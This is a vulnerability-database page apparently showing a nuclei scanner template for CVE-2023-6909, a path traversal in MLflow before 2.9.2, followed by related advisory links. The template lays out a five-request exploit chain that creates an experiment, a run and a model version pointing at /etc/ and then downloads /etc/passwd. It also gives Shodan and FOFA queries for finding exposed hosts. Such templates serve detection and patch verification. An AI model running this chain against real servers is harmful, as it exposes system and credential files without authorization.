Lucene search
K

Mlflow <2.9.2 - Path Traversal

🗓️ 26 Jun 2026 18:13:08Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 228 Views

Mlflow <2.9.2 - Path Traversal, allows for path traversal in GitHub repository mlflow/mlflow <2.9.2. Exploitation could lead to disclosure of sensitive information like SSH Keys or Internal configurations. To fix, update to version 2.10.0

Related
Refs
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2023-6909
20 Dec 202311:17
circl
CNNVD
mlflow Security Vulnerabilities
18 Dec 202300:00
cnnvd
CVE
CVE-2023-6909
18 Dec 202300:00
cve
Cvelist
CVE-2023-6909 Path Traversal: '\..\filename' in mlflow/mlflow
18 Dec 202300:00
cvelist
Github Security Blog
MLflow Path Traversal Vulnerability
20 Dec 202306:30
github
NVD
CVE-2023-6909
18 Dec 202304:15
nvd
OSV
BIT-MLFLOW-2023-6909 Path Traversal: '\..\filename' in mlflow/mlflow
6 Mar 202410:56
osv
OSV
GHSA-5R3Q-93Q3-F978 MLflow Path Traversal Vulnerability
20 Dec 202306:30
osv
OSV
PYSEC-2023-252
18 Dec 202304:15
osv
Prion
Path traversal
18 Dec 202304:15
prion
Rows per page
id: CVE-2023-6909

info:
  name: Mlflow <2.9.2 - Path Traversal
  author: Hyunsoo-ds
  severity: high
  description: |
    Path Traversal: '\..\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.
  impact: |
    Successful exploitation could be lead to disclose of sensitive information such as SSH Keys or Internal configurations.
  remediation: |
    To fix this vulnerability, it is important to update the mlflow package to the latest version 2.10.0.
  reference:
    - https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6909
    - https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-6909
    cwe-id: CWE-29
    epss-score: 0.89716
    epss-percentile: 0.99772
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: lfprojects
    product: mlflow
    shodan-query: "http.title:\"mlflow\""
    fofa-query:
      - title="mlflow"
      - app="mlflow"
    google-query: intitle:"mlflow"
  tags: cve,cve2023,mlflow,lfi,intrusive,lfprojects,vuln,vkev

http:
  - raw:
      - |
        POST /ajax-api/2.0/mlflow/experiments/create HTTP/1.1
        Host: {{Hostname}}

        {"name" : "{{randstr}}", "artifact_location": "http:///?/../../../../../../../../../../../../../../etc/"}

      - |
        POST /api/2.0/mlflow/runs/create HTTP/1.1
        Host: {{Hostname}}

        {"experiment_id": "{{EXPERIMENT_ID}}"}

      - |
        POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}

        {"name": "{{randstr}}"}

      - |
        POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}

        {"name" : "{{randstr}}", "run_id": "{{RUN_ID}}", "source" : "file:///etc/"}

      - |
        GET /model-versions/get-artifact?path=passwd&name={{randstr}}&version=1 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header_5
        words:
          - "filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: json
        part: body_1
        name: EXPERIMENT_ID
        group: 1
        json:
          - '.experiment_id'
        internal: true

      - type: json
        part: body_2
        name: RUN_ID
        group: 1
        json:
          - '.run.info.run_id'
        internal: true
# digest: 490a004630440220543a339b2fc157f24dadb3ac7d74a4d2a15509ee267427b65495cd6be0d826a602207fecc111f57d182c515f4b36cb1aa5dd02133b672b0f08d59d872db5022ceb50:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.17.5
CVSS 37.5
EPSS0.89716
228